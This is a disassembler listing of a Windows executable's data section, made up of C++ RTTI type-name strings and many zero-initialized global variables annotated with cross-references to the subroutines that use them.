a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_4529D8 dd offset off_439020 ; DATA XREF: .nsp0:off_4390B0o
; .nsp0:004390F4o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_4529F8 dd offset off_439020 ; DATA XREF: .nsp0:off_439100o
; .nsp0:00439144o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_452A18 dd offset off_439020 ; DATA XREF: .nsp0:off_439180o
; .nsp0:004391BCo
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42DDD0
align 8
dword_452A38 dd 2 dup(0) ; DATA XREF: sub_401317+C8o
dword_452A40 dd 2 dup(0) ; DATA XREF: sub_401317+62o
dword_452A48 dd 0 ; DATA XREF: sub_40141B+38Co
; sub_401CC1+725o ...
dd 5 dup(0)
dword_452A60 dd 0 ; DATA XREF: sub_401CC1+8AAr
; sub_414492+60r
dd 2D9h dup(0)
dword_4535C8 dd 0 ; DATA XREF: sub_401CC1+562Ar
; sub_401CC1+5724r ...
dd 7Fh dup(0)
dword_4537C8 dd 0 ; DATA XREF: sub_40A7FD+41w
; sub_40A938+40w ...
dword_4537CC dd 0 ; DATA XREF: sub_40A7FD+47w
; sub_40A938+46w ...
dword_4537D0 dd 0 ; DATA XREF: sub_40A7FD+52w
; sub_40A938+3Ar ...
dword_4537D4 dd 0 ; DATA XREF: sub_401317+Cr
; sub_4019E1+B9w ...
dword_4537D8 dd 0 ; DATA XREF: sub_40A938+75r
; sub_40AB19+2Aw ...
dword_4537DC dd 0 ; DATA XREF: sub_40141B+3D8w
; sub_40141B+450w ...
byte_4537E0 db 0 ; DATA XREF: sub_4019E1+91o
; sub_401CC1+5578r ...
align 4
dd 79Bh dup(0)
db 3 dup(0)
byte_455653 db 0 ; DATA XREF: .nsp0:00451F30o
dd 3Fh dup(0)
db 3 dup(0)
byte_455753 db 0 ; DATA XREF: .nsp0:00451F38o
dd 73Bh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .nsp0:off_44EFB0o
dd 37C0h dup(0)
db 0
byte_465345 db 3 dup(0) ; DATA XREF: .nsp0:00452274o
dd 3FFFh dup(0)
db 0
byte_475345 db 3 dup(0) ; DATA XREF: .nsp0:00452090o
dd 7D3Eh dup(0)
db 3 dup(0)
byte_494843 db 0 ; DATA XREF: .nsp0:off_440DFCo
dd 27Fh dup(0)
db 3 dup(0)
byte_495243 db 0 ; DATA XREF: .nsp0:004520F0o
dd 8000h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .nsp0:off_44F144o
dd 3CBEh dup(0)
db 2 dup(0)
word_4C4542 dw 0 ; DATA XREF: .nsp0:00451FBCo
dd 0BFh dup(0)
db 3 dup(0)
byte_4C4843 db 0 ; DATA XREF: .nsp0:004522A8o
dd 1BFh dup(0)
db 3 dup(0)
byte_4C4F43 db 0 ; DATA XREF: .nsp0:004521F8o
dd 0C0h dup(0)
db 2 dup(0)
word_4C5246 dw 0 ; DATA XREF: .nsp0:00452114o
dd 3Fh dup(0)
db 0
byte_4C5345 db 3 dup(0) ; DATA XREF: .nsp0:004522A0o
db 0
byte_4C5349 db 3 dup(0) ; DATA XREF: .nsp0:00451F04o
; .nsp0:00451F0Co
dd 3B81h dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .nsp0:off_44E72Co
dd 37Ch dup(0)
dword_4D4F44 dd 100h dup(0) ; DATA XREF: .nsp0:004521A0o
db 0
byte_4D5345 db 3 dup(0) ; DATA XREF: .nsp0:00451F88o
dd 3Fh dup(0)
db 3 dup(0)
byte_4D5447 db 0 ; DATA XREF: .nsp0:00452098o
dd 2C60h dup(0)
dword_4E05C8 dd 0 ; DATA XREF: sub_401317+FDw
; sub_40A7FD+13o ...
dword_4E05CC dd 0 ; DATA XREF: sub_40141B+3Dw
; sub_401CC1:loc_404214r ...
dword_4E05D0 dd 0 ; DATA XREF: sub_40141B:loc_4018F3o
dword_4E05D4 dd 20h dup(0) ; DATA XREF: sub_40141B+48Fo
; sub_40141B+529o ...
dword_4E0654 dd 10h dup(0) ; DATA XREF: sub_40141B+4A5o
dword_4E0694 dd 24h dup(0) ; DATA XREF: sub_40141B+4BCo
dword_4E0724 dd 0 ; DATA XREF: sub_40141B+4B0w
; sub_40141B+540w ...
dword_4E0728 dd 0 ; DATA XREF: sub_40141B+4CFw
dd 3 dup(0)
byte_4E0738 db 0 ; DATA XREF: sub_401B49+28r
; sub_401B49+30o
align 4
byte_4E073C db 0 ; DATA XREF: sub_40141B:loc_40197Dr
; sub_40141B+570o
align 10h
dword_4E0740 dd 0 ; DATA XREF: sub_40141B+586o
dword_4E0744 dd 0 ; DATA XREF: sub_40141B+598o
dword_4E0748 dd 0 ; DATA XREF: sub_40141B+4DDw
; sub_40141B+4F4r ...
dword_4E074C dd 0 ; DATA XREF: sub_40141B+494w
; sub_401CC1+820r
dword_4E0750 dd 0 ; DATA XREF: .nsp0:0043A268o
dword_4E0754 dd 0 ; DATA XREF: .nsp0:0043C69Co
dword_4E0758 dd 0 ; DATA XREF: sub_40141B+24Ao
dword_4E075C dd 0 ; DATA XREF: sub_401CC1+7018o
dword_4E0760 dd 0 ; DATA XREF: sub_401CC1+1E73o
dword_4E0764 dd 0 ; DATA XREF: sub_401CC1+1A21o
dword_4E0768 dd 0 ; DATA XREF: sub_401CC1+3B18o
dword_4E076C dd 0 ; DATA XREF: sub_401CC1+539Do
dword_4E0770 dd 0 ; DATA XREF: sub_408F54+44Dw
; sub_408F54+491r
dword_4E0774 dd 0 ; DATA XREF: sub_408F54+65w
; sub_4175DD+166r
dword_4E0778 dd 0 ; DATA XREF: sub_408F54+7B1w
; sub_408F54+826r ...
dword_4E077C dd 0 ; DATA XREF: sub_408F54+97Ew
; sub_408F54+9E9r ...
dword_4E0780 dd 0 ; DATA XREF: sub_408F54+930w
; sub_408F54+9B9r ...
dword_4E0784 dd 0 ; DATA XREF: sub_408F54+433w
; sub_408F54+481r
dword_4E0788 dd 0 ; DATA XREF: sub_408F54+971w
; sub_408F54+9E1r ...
dword_4E078C dd 0 ; DATA XREF: sub_408F54+318w
; sub_408F54+36Dr ...
dword_4E0790 dd 0 ; DATA XREF: sub_408F54+3B5w
; sub_41897B+11Er
dword_4E0794 dd 0 ; DATA XREF: sub_408F54+325w
; sub_408F54+375r ...
dword_4E0798 dd 0 ; DATA XREF: sub_408F54+366w
; sub_416BCB+ADr
dword_4E079C dd 0 ; DATA XREF: sub_408F54+500w
; sub_40EBF0+115r ...
dword_4E07A0 dd 0 ; DATA XREF: sub_408F54+72w
; sub_408F54+D2r ...
dword_4E07A4 dd 0 ; DATA XREF: sub_408F54+923w
; sub_408F54+9ACr ...
dword_4E07A8 dd 0 ; DATA XREF: sub_408F54+34Cw
; sub_408F54+38Dr ...
dword_4E07AC dd 0 ; DATA XREF: sub_408F54+7FFw
; sub_408F54+852r
dword_4E07B0 dd 0 ; DATA XREF: sub_408F54+24Bw
; sub_408F54+296r ...
dword_4E07B4 dd 0 ; DATA XREF: sub_408F54+7F2w
; sub_408F54+84Ar ...
dword_4E07B8 dd 0 ; DATA XREF: sub_408F54+B3w
dword_4E07BC dd 0 ; DATA XREF: sub_408F54+80Cw
; sub_408F54+85Ar ...
dword_4E07C0 dd 0 ; DATA XREF: sub_408F54+4F3w
; sub_408F54+676r ...
dword_4E07C4 dd 0 ; DATA XREF: sub_408F54+58w
; sub_408F54+CAr ...
dword_4E07C8 dd 0 ; DATA XREF: sub_408F54+8DAw
; sub_40AA45+16o ...
dword_4E07CC dd 0 ; DATA XREF: sub_401CC1:loc_403C4Er
; sub_408F54+A3Bw ...
dword_4E07D0 dd 0 ; DATA XREF: sub_408F54+A6w
; sub_408F54+F2r
dword_4E07D4 dd 0 ; DATA XREF: sub_408F54+426w
; sub_408F54+479r
dword_4E07D8 dd 0 ; DATA XREF: sub_408F54+59Cw
; sub_40B6A2+20r ...
dword_4E07DC dd 0 ; DATA XREF: sub_408F54+964w
; sub_408F54+9D9r
dword_4E07E0 dd 0 ; DATA XREF: sub_408F54+58Fw
; sub_408F54+6FAr
dword_4E07E4 dd 0 ; DATA XREF: sub_408F54+9B2w
dword_4E07E8 dd 0 ; DATA XREF: sub_408F54+AF6w
dword_4E07EC dd 0 ; DATA XREF: sub_408F54+7A4w
; sub_408F54+813r
dword_4E07F0 dd 0 ; DATA XREF: sub_408F54+1B3w
; sub_416138+15r
dword_4E07F4 dd 0 ; DATA XREF: sub_408F54+93Dw
; sub_408F54+9C1r ...
dword_4E07F8 dd 0 ; DATA XREF: sub_408F54+332w
; sub_408F54+37Dr ...
dword_4E07FC dd 0 ; DATA XREF: sub_408F54+33Fw
; sub_408F54+385r ...
dword_4E0800 dd 0 ; DATA XREF: sub_408F54+652w
; sub_4102D1+D0r
dword_4E0804 dd 0 ; DATA XREF: sub_401317+1Dr
; sub_401317+23r ...
dword_4E0808 dd 0 ; DATA XREF: sub_408F54+45Aw
dword_4E080C dd 0 ; DATA XREF: sub_408F54+98Bw
; sub_408F54+9F1r ...
dword_4E0810 dd 0 ; DATA XREF: sub_401000+51r
; sub_408F54+258w ...
dword_4E0814 dd 0 ; DATA XREF: sub_408F54+7Fw
; sub_408F54+DAr ...
dword_4E0818 dd 0 ; DATA XREF: sub_401CC1+50E1r
; sub_401CC1+6C58r ...
dword_4E081C dd 0 ; DATA XREF: sub_40141B+8Cr
; sub_401CC1+48D8r ...
dword_4E0820 dd 0 ; DATA XREF: sub_408F54+7CBw
; sub_408F54+836r
dword_4E0824 dd 0 ; DATA XREF: sub_408F54+94Aw
; sub_408F54+9C9r
dword_4E0828 dd 0 ; DATA XREF: sub_408F54+BB4w
; sub_408F54+BE5r
dword_4E082C dd 0 ; DATA XREF: sub_408F54+272w
; sub_4162E2+47r
dword_4E0830 dd 0 ; DATA XREF: sub_408F54+8C0w
; sub_408F54+8D4r ...
dword_4E0834 dd 0 ; DATA XREF: sub_408F54+BCEw
dword_4E0838 dd 0 ; DATA XREF: sub_408F54+27Fw
; sub_4162E2+4Fr
dword_4E083C dd 0 ; DATA XREF: sub_408F54+51Aw
; sub_408F54+68Er ...
dword_4E0840 dd 0 ; DATA XREF: sub_408F54+7E5w
; sub_408F54+819r
dword_4E0844 dd 0 ; DATA XREF: sub_408F54+172w
; sub_408F54+1C2r
dword_4E0848 dd 0 ; DATA XREF: sub_401CC1+1963r
; sub_401CC1+529Ar ...
dword_4E084C dd 0 ; DATA XREF: sub_4019E1+C4r
; sub_401CC1+4962r ...
dword_4E0850 dd 0 ; DATA XREF: sub_408F54+50Dw
; sub_408F54+682r ...
dword_4E0854 dd 0 ; DATA XREF: sub_408F54+881w
; sub_408F54:loc_4097F3w ...
dword_4E0858 dd 0 ; DATA XREF: sub_401000+26r
; sub_408F54+231w ...
dword_4E085C dd 0 ; DATA XREF: sub_401CC1+6BD7r
; sub_408F54+645w ...
dword_4E0860 dd 0 ; DATA XREF: sub_408F54+2D3w
; sub_408F54+2E7r ...
dword_4E0864 dd 0 ; DATA XREF: sub_408F54+359w
; sub_408F54+395r ...
dword_4E0868 dd 0 ; DATA XREF: sub_408F54+BA7w
; sub_408F54+BDDr
dword_4E086C dd 0 ; DATA XREF: sub_408F54+7BEw
; sub_408F54+82Er
dword_4E0870 dd 0 ; DATA XREF: sub_408F54+18Cw
; sub_408F54+1D2r ...
dword_4E0874 dd 0 ; DATA XREF: sub_408F54+7D8w
; sub_408F54+83Er
dword_4E0878 dd 0 ; DATA XREF: sub_408F54+5CAw
; sub_408F54+71Ar ...
dword_4E087C dd 0 ; DATA XREF: sub_401000+5Ar
; sub_408F54+265w ...
dword_4E0880 dd 0 ; DATA XREF: sub_408F54+611w
; sub_408F54+742r ...
dword_4E0884 dd 0 ; DATA XREF: sub_408F54+2C6w
; sub_408F54+2DAr ...
dword_4E0888 dd 0 ; DATA XREF: sub_408F54+5EAw
; sub_408F54+72Ar ...
dword_4E088C dd 0 ; DATA XREF: sub_408F54+3F2w
; sub_408F54+454r
dword_4E0890 dd 0 ; DATA XREF: sub_408F54+199w
; sub_408F54+1DAr ...
dword_4E0894 dd 0 ; DATA XREF: sub_408F54+30Bw
; sub_408F54+360r ...
dword_4E0898 dd 0 ; DATA XREF: sub_408F54+A48w
dword_4E089C dd 0 ; DATA XREF: sub_408F54+582w
; sub_408F54+6EEr ...
dword_4E08A0 dd 0 ; DATA XREF: sub_4019E1+3Er
; sub_401CC1+4914r ...
dword_4E08A4 dd 0 ; DATA XREF: sub_408F54+4Bw
; sub_408F54+C2r ...
dword_4E08A8 dd 0 ; DATA XREF: sub_408F54+419w
; sub_408F54+471r
dword_4E08AC dd 0 ; DATA XREF: sub_408F54+165w
; sub_408F54+1BAr ...
dword_4E08B0 dd 0 ; DATA XREF: sub_408F54+9A5w
; sub_408F54+A01r ...
dword_4E08B4 dd 0 ; DATA XREF: sub_408F54+62Bw
; sub_408F54+752r ...
dword_4E08B8 dd 0 ; DATA XREF: sub_401B49+D1r
; sub_401CC1+4977r ...
dword_4E08BC dd 0 ; DATA XREF: sub_408F54+BC1w
; sub_408F54+BEDr
dword_4E08C0 dd 0 ; DATA XREF: sub_408F54+3Ew
; sub_408F54+BAr ...
dword_4E08C4 dd 0 ; DATA XREF: sub_401000+45r
; sub_408F54+23Ew ...
dword_4E08C8 dd 0 ; DATA XREF: sub_408F54+5F7w
; sub_408F54+732r ...
dword_4E08CC dd 0 ; DATA XREF: sub_408F54+5DDw
; sub_408F54+722r ...
dword_4E08D0 dd 0 ; DATA XREF: sub_408F54+81Fw
; sub_414A1D+4DCr
dword_4E08D4 dd 0 ; DATA XREF: sub_408F54+112w
dword_4E08D8 dd 0 ; DATA XREF: sub_408F54+B8Dw
; sub_408F54+BC8r
dword_4E08DC dd 0 ; DATA XREF: sub_401CC1+2A44r
; sub_401CC1+5753r ...
dword_4E08E0 dd 0 ; DATA XREF: sub_408F54+3FFw
; sub_408F54+461r
dword_4E08E4 dd 0 ; DATA XREF: sub_408F54+440w
; sub_408F54+489r
dword_4E08E8 dd 0 ; DATA XREF: sub_408F54+40Cw
; sub_408F54+469r
dword_4E08EC dd 0 ; DATA XREF: sub_401B49+89r
; sub_401CC1+4994r ...
dword_4E08F0 dd 0 ; DATA XREF: sub_408F54+1A6w
; sub_408F54+1E2r ...
dword_4E08F4 dd 0 ; DATA XREF: sub_408F54+998w
; sub_408F54+9F9r ...
dword_4E08F8 dd 0 ; DATA XREF: sub_408F54+158w
; sub_408F54+1ADr ...
dword_4E08FC dd 0 ; DATA XREF: sub_408F54+8Cw
; sub_408F54+E2r ...
dword_4E0900 dd 0 ; DATA XREF: sub_408F54+5B6w
; sub_408F54+70Ar ...
dword_4E0904 dd 0 ; DATA XREF: sub_408F54+AE9w
; sub_408F54+B05r
dword_4E0908 dd 0 ; DATA XREF: sub_408F54+2E0w
; sub_417572+55r
dword_4E090C dd 0 ; DATA XREF: sub_408F54+224w
; sub_408F54+279r ...
dword_4E0910 dd 0 ; DATA XREF: sub_408F54+B50w
dword_4E0914 dd 0 ; DATA XREF: sub_408F54+A92w
; sub_409F35+D4r
dword_4E0918 dd 0 ; DATA XREF: sub_408F54+A85w
; sub_408F54+A8Cr ...
dword_4E091C dd 0 ; DATA XREF: sub_4019E1+A6r
; sub_401CC1+48F3r ...
dword_4E0920 dd 0 ; DATA XREF: sub_401CC1+48E5r
; sub_401CC1+6BFEr ...
dword_4E0924 dd 0 ; DATA XREF: sub_408F54+B9Aw
; sub_408F54+BD5r
dword_4E0928 dd 0 ; DATA XREF: sub_401CC1+1989r
; sub_401CC1+52C0r ...
dword_4E092C dd 0 ; DATA XREF: sub_408F54+957w
; sub_408F54+9D1r ...
dword_4E0930 dd 0 ; DATA XREF: sub_408F54+604w
; sub_408F54+73Ar ...
dword_4E0934 dd 0 ; DATA XREF: sub_401317+12r
; sub_4019E1+D0r ...
dword_4E0938 dd 0 ; DATA XREF: sub_408F54+541w
; sub_408F54+6B2r ...
dword_4E093C dd 0 ; DATA XREF: sub_408F54+ADCw
; sub_408F54+AFDr
dword_4E0940 dd 0 ; DATA XREF: sub_408F54+4E6w
; sub_408F54+66Ar ...
dword_4E0944 dd 0 ; DATA XREF: sub_408F54+ACFw
; sub_408F54+AF0r
dword_4E0948 dd 0 ; DATA XREF: sub_40141B+52r
; sub_408F54+31w ...
dword_4E094C dd 0 ; DATA XREF: sub_408F54+17Fw
; sub_408F54+1CAr
dd 0
dword_4E0954 dd 0 ; DATA XREF: sub_408F54+8CDw
; sub_408F54+8E1r ...
dword_4E0958 dd 0 ; DATA XREF: sub_408F54+99w
; sub_408F54+EAr ...
dword_4E095C dd 0 ; DATA XREF: sub_408F54:loc_409052w
; sub_408F54+12Bw ...
dword_4E0960 dd 0 ; DATA XREF: sub_408F54+126w
; sub_409B6C+1Cr
dword_4E0964 dd 0 ; DATA XREF: sub_408F54:loc_40914Fw
; sub_409B6C:loc_409BB4r
dword_4E0968 dd 0 ; DATA XREF: sub_408F54+1F6w
; sub_409B6C+50r
dword_4E096C dd 0 ; DATA XREF: sub_40141B+346r
; sub_401CC1+3CE2r ...
dword_4E0970 dd 0 ; DATA XREF: sub_408F54+3C4w
; sub_409B6C+84r
dword_4E0974 dd 0 ; DATA XREF: sub_408F54:loc_4093FEw
; sub_409B6C:loc_409C1Cr
dword_4E0978 dd 0 ; DATA XREF: sub_408F54+4A5w
; sub_409B6C+B8r
dword_4E097C dd 0 ; DATA XREF: sub_408F54:loc_4096CFw
; sub_409B6C:loc_409C50r
dword_4E0980 dd 0 ; DATA XREF: sub_408F54+776w
; sub_409B6C+ECr
dword_4E0984 dd 0 ; DATA XREF: sub_408F54:loc_4097BAw
; sub_408F54+895w ...
dword_4E0988 dd 0 ; DATA XREF: sub_408F54+890w
; sub_409B6C+120r
dword_4E098C dd 0 ; DATA XREF: sub_401CC1:loc_4068D3r
; sub_408F54:loc_40984Ew ...
dword_4E0990 dd 0 ; DATA XREF: sub_408F54+8F5w
; sub_409B6C+154r
dword_4E0994 dd 0 ; DATA XREF: sub_401CC1+3CEAr
; sub_408F54:loc_40996Aw ...
dword_4E0998 dd 0 ; DATA XREF: sub_408F54+A11w
; sub_409B6C+188r
dword_4E099C dd 0 ; DATA XREF: sub_408F54:loc_4099B4w
; sub_409B6C:loc_409D20r
dword_4E09A0 dd 0 ; DATA XREF: sub_408F54+A5Bw
; sub_409B6C+1BCr
dword_4E09A4 dd 0 ; DATA XREF: sub_408F54:loc_4099FEw
; sub_409B6C:loc_409D54r
dword_4E09A8 dd 0 ; DATA XREF: sub_408F54+AA5w
; sub_409B6C+1F0r
dword_4E09AC dd 0 ; DATA XREF: sub_408F54:loc_409A72w
; sub_409B6C:loc_409D88r
dword_4E09B0 dd 0 ; DATA XREF: sub_408F54+B19w
; sub_409B6C+224r
dword_4E09B4 dd 0 ; DATA XREF: sub_408F54:loc_409ABCw
; sub_409B6C:loc_409DBCr
dword_4E09B8 dd 0 ; DATA XREF: sub_408F54+B63w
; sub_409B6C+258r
dword_4E09BC dd 0 ; DATA XREF: sub_408F54:loc_409B5Aw
; sub_409B6C:loc_409DF0r
dword_4E09C0 dd 0 ; DATA XREF: sub_408F54+C01w
; sub_409B6C+28Cr
dd 2 dup(0)
dword_4E09CC dd 5 dup(0) ; DATA XREF: sub_40A019+32o
dword_4E09E0 dd 2 dup(0) ; DATA XREF: .nsp0:00409E74o
dword_4E09E8 dd 0 ; DATA XREF: .nsp0:0040A356o
dword_4E09EC dd 0 ; DATA XREF: sub_40A44E+33o
dword_4E09F0 dd 0 ; DATA XREF: sub_40A44E+63o
byte_4E09F4 db 0 ; DATA XREF: sub_40A6F6+6Ar
; sub_40A6F6+98w
align 10h
dword_4E0A00 dd 0 ; DATA XREF: sub_40B155+18r
; sub_40B6EA+92w ...
dword_4E0A04 dd 0 ; DATA XREF: sub_40B9F0+4Dr
; sub_40BC04+D9w ...
dd 7FEh dup(0)
dword_4E2A00 dd 6 dup(0) ; DATA XREF: sub_40B9F0+CFo
; sub_40B9F0+138o ...
dword_4E2A18 dd 0 ; DATA XREF: sub_40B1CC+2C4w
; sub_40B1CC+348o
dword_4E2A1C dd 0 ; DATA XREF: sub_40B1CC+33Ew
; sub_40B1CC+35Ar
dword_4E2A20 dd 0 ; DATA XREF: sub_40B1CC+2CFw
dword_4E2A24 dd 0 ; DATA XREF: sub_40B1CC+2B9w
; sub_40B1CC:loc_40B4E1r
dword_4E2A28 dd 20h dup(0) ; DATA XREF: sub_40B1CC+2E2o
; sub_40B1CC+302o
dword_4E2AA8 dd 0 ; DATA XREF: sub_40B1CC+2D5w
dword_4E2AAC dd 0 ; DATA XREF: sub_40B1CC+2EFw
; sub_40B1CC+30Fw
dword_4E2AB0 dd 0 ; DATA XREF: sub_40B1CC:loc_40B53Cr
align 8
dword_4E2AB8 dd 0 ; DATA XREF: sub_40B1CC+82w
; sub_40B1CC+101o
dword_4E2ABC dd 41h dup(0) ; DATA XREF: sub_40B1CC+41o
dword_4E2BC0 dd 41h dup(0) ; DATA XREF: sub_40B1CC+69o
dword_4E2CC4 dd 0 ; DATA XREF: sub_40B1CC+F7w
; sub_40B1CC+113r
dword_4E2CC8 dd 0 ; DATA XREF: sub_40B1CC+52w
dword_4E2CCC dd 0 ; DATA XREF: sub_40B1CC+4Dw
; sub_40B1CC+D4r
dword_4E2CD0 dd 20h dup(0) ; DATA XREF: sub_40B1CC+9Ao
; sub_40B1CC+BAo
dword_4E2D50 dd 0 ; DATA XREF: sub_40B1CC+8Fw
dword_4E2D54 dd 0 ; DATA XREF: sub_40B1CC+A7w
; sub_40B1CC+C7w
dword_4E2D58 dd 0 ; DATA XREF: sub_40B1CC:loc_40B2F5r
align 10h
dword_4E2D60 dd 0 ; DATA XREF: sub_40B1CC+1A5w
; sub_40B1CC+225o
dword_4E2D64 dd 41h dup(0) ; DATA XREF: sub_40B1CC+167o
dword_4E2E68 dd 41h dup(0) ; DATA XREF: sub_40B1CC+18Co
dword_4E2F6C dd 0 ; DATA XREF: sub_40B1CC+21Bw
; sub_40B1CC+237r
dword_4E2F70 dd 0 ; DATA XREF: sub_40B1CC+17Aw
dword_4E2F74 dd 0 ; DATA XREF: sub_40B1CC+175w
; sub_40B1CC+1F8r
dword_4E2F78 dd 20h dup(0) ; DATA XREF: sub_40B1CC+1BEo
; sub_40B1CC+1DEo
dword_4E2FF8 dd 0 ; DATA XREF: sub_40B1CC+1B1w
dword_4E2FFC dd 0 ; DATA XREF: sub_40B1CC+1CBw
; sub_40B1CC+1EBw
dword_4E3000 dd 0 ; DATA XREF: sub_40B1CC:loc_40B419r
align 8
dword_4E3008 dd 0 ; DATA XREF: sub_40B1CC+417w
; sub_40B1CC+470o
dword_4E300C dd 0A2h dup(0) ; DATA XREF: sub_40B1CC+405o
dword_4E3294 dd 41h dup(0) ; DATA XREF: sub_40B1CC+3CFo
dword_4E3398 dd 0 ; DATA XREF: sub_40B1CC+3FCw
; sub_40B1CC+423r
align 10h
dword_4E33A0 dd 0 ; DATA XREF: sub_40B1CC+466w
; sub_40B1CC+482r
dword_4E33A4 dd 0 ; DATA XREF: sub_40B1CC+429w
dword_4E33A8 dd 0 ; DATA XREF: sub_40B1CC+436w
dword_4E33AC dd 0 ; DATA XREF: sub_40B1CC+3F6w
dd 0
dword_4E33B4 dd 0 ; DATA XREF: sub_40B1CC:loc_40B664r
dd 0
dword_4E33BC dd 0 ; DATA XREF: sub_40AE1F+Er
; sub_40AE1F+31r ...
dword_4E33C0 dd 0 ; DATA XREF: sub_40AE1F+9r
; sub_40AE1F+25r ...
dword_4E33C4 dd 82h dup(0) ; DATA XREF: sub_40BE63+8Do
dword_4E35CC dd 2 dup(0) ; DATA XREF: sub_40C7FA+68o
dword_4E35D4 dd 0 ; DATA XREF: sub_40C29A+13o
dword_4E35D8 dd 0 ; DATA XREF: sub_40CAE9+10o
dword_4E35DC dd 0 ; DATA XREF: sub_40D370+8w
; sub_40D46C+2D6o
dd 0
dword_4E35E4 dd 0 ; DATA XREF: sub_40D46C+64o
dword_4E35E8 dd 0 ; DATA XREF: sub_40D46C+69o
dword_4E35EC dd 3 dup(0) ; DATA XREF: sub_40D46C+20Co
dword_4E35F8 dd 0 ; DATA XREF: .nsp0:0040DE4Bo
dword_4E35FC dd 0 ; DATA XREF: sub_40DFCC+1Fr
; sub_40E017+BCo ...
dword_4E3600 dd 0 ; DATA XREF: sub_40E017+B7o
; sub_40E017+DAr ...
dword_4E3604 dd 0 ; DATA XREF: sub_40E017+9Ao
; sub_40E017+CFr ...
dword_4E3608 dd 0 ; DATA XREF: sub_40DF89+35r
; sub_40E017+95o ...
dword_4E360C dd 0 ; DATA XREF: sub_40DF89+17r
; sub_40DFCC+3Dr ...
dd 0
dword_4E3614 dd 0 ; DATA XREF: sub_40B1CC+2AEr
; sub_40E1EC+10w ...
dd 0
dword_4E361C dd 0 ; DATA XREF: sub_40AE8A+1Br
; sub_40E203+27Cw
dword_4E3620 dd 0 ; DATA XREF: sub_40EAD9+2Aw
; sub_40EAD9+51r ...
align 10h
dword_4E3630 dd 3 dup(0) ; DATA XREF: sub_40FBF0+74o
dword_4E363C dd 0 ; DATA XREF: sub_4102D1+146r
dd 0
dword_4E3644 dd 2 dup(0) ; DATA XREF: sub_4102D1+139o
byte_4E364C db 0 ; DATA XREF: sub_4112A8+1EFr
align 10h
dword_4E3650 dd 0 ; DATA XREF: sub_411725+4w
; sub_411725+9o
align 8
byte_4E3658 db 0 ; DATA XREF: sub_41226E+1D3w
; sub_41226E+2D2o
align 2
word_4E365A dw 0 ; DATA XREF: sub_41226E+1E3w
word_4E365C dw 0 ; DATA XREF: sub_41226E+1E9w
word_4E365E dw 0 ; DATA XREF: sub_41226E+1F0w
byte_4E3660 db 0 ; DATA XREF: sub_41226E+1F7w
byte_4E3661 db 0 ; DATA XREF: sub_41226E+1FEw
word_4E3662 dw 0 ; DATA XREF: sub_41226E+204w
dword_4E3664 dd 0 ; DATA XREF: sub_41226E+234w
; sub_41226E+250w
dword_4E3668 dd 0 ; DATA XREF: sub_41226E+258w
byte_4E366C db 0 ; DATA XREF: sub_41226E+26Aw
byte_4E366D db 0 ; DATA XREF: sub_41226E+27Dw
word_4E366E dw 0 ; DATA XREF: sub_41226E+295w
word_4E3670 dw 0 ; DATA XREF: sub_41226E+2A4w
word_4E3672 dw 0 ; DATA XREF: sub_41226E+29Cw
dword_4E3674 dd 101h dup(0) ; DATA XREF: sub_41226E+2B9o
dword_4E3A78 dd 80h dup(0) ; DATA XREF: sub_401CC1+29BAo
; sub_401CC1:loc_40472Ao ...
byte_4E3C78 db 0 ; DATA XREF: sub_413B08+19Fw
; sub_413B08+278o
align 2
word_4E3C7A dw 0 ; DATA XREF: sub_413B08+1ACw
word_4E3C7C dw 0 ; DATA XREF: sub_413B08+1B6w
word_4E3C7E dw 0 ; DATA XREF: sub_413B08+1BFw
byte_4E3C80 db 0 ; DATA XREF: sub_413B08+1C6w
byte_4E3C81 db 0 ; DATA XREF: sub_413B08+1CDw
word_4E3C82 dw 0 ; DATA XREF: sub_413B08+1D4w
dword_4E3C84 dd 0 ; DATA XREF: sub_413B08+1E1w
dword_4E3C88 dd 0 ; DATA XREF: sub_413B08+1E9w
word_4E3C8C dw 0 ; DATA XREF: sub_413B08+242w
word_4E3C8E dw 0 ; DATA XREF: sub_413B08+22Aw
word_4E3C90 dw 0 ; DATA XREF: sub_413B08+254w
word_4E3C92 dw 0 ; DATA XREF: sub_413B08+1F5w
dword_4E3C94 dd 101h dup(0) ; DATA XREF: sub_413B08+263o
dword_4E4098 dd 0 ; DATA XREF: sub_401CC1+16A4w
; sub_401CC1+29B2r ...
dd 3 dup(0)
byte_4E40A8 db 0 ; DATA XREF: sub_413FFA+244o
; sub_413FFA+253w ...
byte_4E40A9 db 0 ; DATA XREF: sub_413FFA+267w
word_4E40AA dw 0 ; DATA XREF: sub_413FFA+298w
word_4E40AC dw 0 ; DATA XREF: sub_413FFA+27Fw
; sub_413FFA:loc_4143C0w
word_4E40AE dw 0 ; DATA XREF: sub_413FFA+29Ew
byte_4E40B0 db 0 ; DATA XREF: sub_413FFA+28Bw
byte_4E40B1 db 0 ; DATA XREF: sub_413FFA+260w
word_4E40B2 dw 0 ; DATA XREF: sub_413FFA+3E6w
; sub_413FFA+410w
dword_4E40B4 dd 0 ; DATA XREF: sub_413FFA:loc_4142B7w
; sub_413FFA+38Er
dword_4E40B8 dd 0 ; DATA XREF: sub_413FFA+2CAw
word_4E40BC dw 0 ; DATA XREF: sub_413FFA+388w
; sub_413FFA+3DCo
word_4E40BE dw 0 ; DATA XREF: sub_413FFA+329w
; sub_413FFA+34Er ...
dword_4E40C0 dd 0 ; DATA XREF: sub_413FFA+300w
; sub_413FFA+3CDw
dword_4E40C4 dd 0 ; DATA XREF: sub_413FFA+31Cw
; sub_413FFA+39Fw ...
byte_4E40C8 db 0 ; DATA XREF: sub_413FFA+305r
; sub_413FFA+313w
byte_4E40C9 db 0 ; DATA XREF: sub_413FFA+2CFw
; sub_413FFA+398w ...
word_4E40CA dw 0 ; DATA XREF: sub_413FFA+2DDw
word_4E40CC dw 0 ; DATA XREF: sub_413FFA+3EDw
; sub_413FFA+41Ew
word_4E40CE dw 0 ; DATA XREF: sub_413FFA+322w
word_4E40D0 dw 0 ; DATA XREF: sub_413FFA+354w
; sub_413FFA+426o
word_4E40D2 dw 0 ; DATA XREF: sub_413FFA+363w
; sub_413FFA+3FDw
dword_4E40D4 dd 0 ; DATA XREF: sub_413FFA+35Dw
align 10h
dword_4E40E0 dd 0 ; DATA XREF: sub_413FFA+393w
; sub_413FFA+40Bo
